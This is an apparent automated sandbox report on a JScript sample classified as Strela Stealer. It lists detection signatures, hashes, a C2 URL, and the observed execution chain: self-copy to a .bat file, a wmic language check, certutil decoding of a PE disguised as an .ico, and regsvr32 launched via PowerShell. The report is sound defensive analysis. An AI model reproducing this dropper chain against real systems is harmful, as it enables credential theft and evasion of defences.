Windows Analysis Report
file.js

Overview

General Information

Sample name: file.js
Analysis ID: 1417160
MD5: 2ecfb5962169fd0cd5481a5bdfa56bba
SHA1: 9e97ed9944bc0442554b423009f1b4950811a4fc
SHA256: b50491831cb3674fcdb34933ad61d233ac2cc275ac396d00f7257f9bc0328a97
Tags: js
Infos:

Detection

Strela Stealer
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Found malware configuration
JScript performs obfuscated calls to suspicious functions
Multi AV Scanner detection for submitted file
Sigma detected: Powershell launch regsvr32
Yara detected Strela Stealer
C2 URLs / IPs found in malware configuration
Drops PE files to the user root directory
Sigma detected: Potentially Suspicious PowerShell Child Processes
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Wscript starts Powershell (via cmd or directly)
Yara detected EXE embedded in BAT file
Contains functionality to dynamically determine API calls
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Drops PE files
Drops PE files to the user directory
Drops files with a non-matching file extension (content does not match file extension)
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
PE file contains more sections than normal
PE file contains sections with non-standard names
Queries the volume information (name, serial number etc) of a device
Sigma detected: Scripting/CommandLine Process Spawned Regsvr32
Sigma detected: Suspicious Copy From or To System Directory
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Tries to load missing DLLs
Uses code obfuscation techniques (call, push, ret)

Classification

AV Detection
barindex
Antivirus detection for URL or domain
Source: 45.9.74.12/server.php Avira URL Cloud: Label: malware
Found malware configuration
Source: 8.2.regsvr32.exe.7ffe10230000.0.unpack Malware Configuration Extractor: Strela Stealer {"C2 url": "45.9.74.12/server.php"}
Multi AV Scanner detection for submitted file
Source: file.js ReversingLabs: Detection: 21%

Software Vulnerabilities
barindex
Suspicious execution chain found
Source: C:\Windows\System32\wscript.exe Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking
barindex
C2 URLs / IPs found in malware configuration
Source: Malware configuration extractor URLs: 45.9.74.12/server.php

System Summary
barindex
Windows Scripting host queries suspicious COM object (likely to drop second stage)
Source: C:\Windows\System32\wscript.exe COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8} Jump to behavior
Wscript starts Powershell (via cmd or directly)
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell regsvr32 childlikeclearintroduce.ico
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell regsvr32 childlikeclearintroduce.ico Jump to behavior
Detected potential crypto function
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B8EE88 8_2_02B8EE88
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B81240 8_2_02B81240
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B81740 8_2_02B81740
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B86C5C 8_2_02B86C5C
Java / VBScript file with very long strings (likely obfuscated code)
Source: file.js Initial sample: Strings found which are bigger than 50
PE file contains more sections than normal
Source: childlikeclearintroduce.ico.6.dr Static PE information: Number of sections : 19 > 10
Tries to load missing DLLs
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: jscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\cmd.exe Section loaded: cmdext.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: framedynos.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: msxml6.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vcruntime140_1.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\find.exe Section loaded: ulib.dll Jump to behavior
Source: C:\Windows\System32\find.exe Section loaded: fsutilext.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: certcli.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: cryptui.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: ncrypt.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: netapi32.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: ntdsapi.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: certca.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: samcli.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: logoncli.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: dsrole.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: ntasn1.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\certutil.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: aclayers.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: sfc.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: sfc_os.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: textshaping.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: textinputframework.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: coreuicomponents.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: ntmarta.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: coremessaging.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\regsvr32.exe Section loaded: wininet.dll Jump to behavior
Source: classification engine Classification label: mal100.troj.expl.evad.winJS@16/7@0/0
Source: C:\Windows\System32\cmd.exe File created: C:\Users\user\stiffrelievedawesome.bat Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Mutant created: NULL
Source: C:\Windows\System32\conhost.exe Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6924:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_gw4xkmxd.b3h.ps1 Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat"
Source: C:\Windows\System32\wscript.exe File read: C:\Users\user\Desktop\desktop.ini Jump to behavior
Source: C:\Windows\System32\wscript.exe Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers Jump to behavior
Source: file.js ReversingLabs: Detection: 21%
Source: unknown Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\file.js"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_operatingsystem get oslanguage
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\find.exe find /i "1033"
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /V joyousintroducebreezy ""C:\Users\user\\stiffrelievedawesome.bat""
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\certutil.exe certutil -f -decode deepdidacticfour childlikeclearintroduce.ico
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell regsvr32 childlikeclearintroduce.ico
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" childlikeclearintroduce.ico
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /k copy "C:\Users\user\Desktop\file.js" "C:\Users\user\\stiffrelievedawesome.bat" && "C:\Users\user\\stiffrelievedawesome.bat" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\wbem\WMIC.exe wmic path win32_operatingsystem get oslanguage Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\find.exe find /i "1033" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\findstr.exe findstr /V joyousintroducebreezy ""C:\Users\user\\stiffrelievedawesome.bat"" Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\certutil.exe certutil -f -decode deepdidacticfour childlikeclearintroduce.ico Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell regsvr32 childlikeclearintroduce.ico Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\system32\regsvr32.exe" childlikeclearintroduce.ico Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32 Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior

Data Obfuscation
barindex
JScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: WScript.Shell");IHost.ScriptFullName();IWshShell3.Run("cmd /k copy "C:\Users\user\Desktop\file.js" "%userprofile%\\stiffrelieved", "0", "false")
Yara detected EXE embedded in BAT file
Source: Yara match File source: file.js, type: SAMPLE
Source: Yara match File source: C:\Users\user\stiffrelievedawesome.bat, type: DROPPED
Contains functionality to dynamically determine API calls
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_00007FFE102314B0 GetModuleHandleA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress, 8_2_00007FFE102314B0
PE file contains sections with non-standard names
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /4
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: .xdata
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /14
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /29
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /41
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /55
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /67
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /80
Source: childlikeclearintroduce.ico.6.dr Static PE information: section name: /91
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B8C5EF push esp; ret 8_2_02B8C5F5
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B8C5CC push cs; ret 8_2_02B8C5CD
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B9753E push ecx; retf 003Fh 8_2_02B9759E
Source: C:\Windows\System32\regsvr32.exe Code function: 8_2_02B8B542 push esp; ret 8_2_02B8B545
Drops PE files
Source: C:\Windows\System32\certutil.exe File created: C:\Users\user\childlikeclearintroduce.ico Jump to dropped file
Drops PE files to the user directory
Source: C:\Windows\System32\certutil.exe File created: C:\Users\user\childlikeclearintroduce.ico Jump to dropped file
Drops files with a non-matching file extension (content does not match file extension)
Source: C:\Windows\System32\certutil.exe File created: C:\Users\user\childlikeclearintroduce.ico Jump to dropped file

Boot Survival
barindex
Drops PE files to the user root directory
Source: C:\Windows\System32\certutil.exe File created: C:\Users\user\childlikeclearintroduce.ico Jump to dropped file
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\cmd.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wbem\WMIC.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found WSH timer for Javascript or VBS script (likely evasive script)
Source: C:\Windows\System32\wscript.exe Window found: window name: WSH-Timer Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2778 Jump to behavior
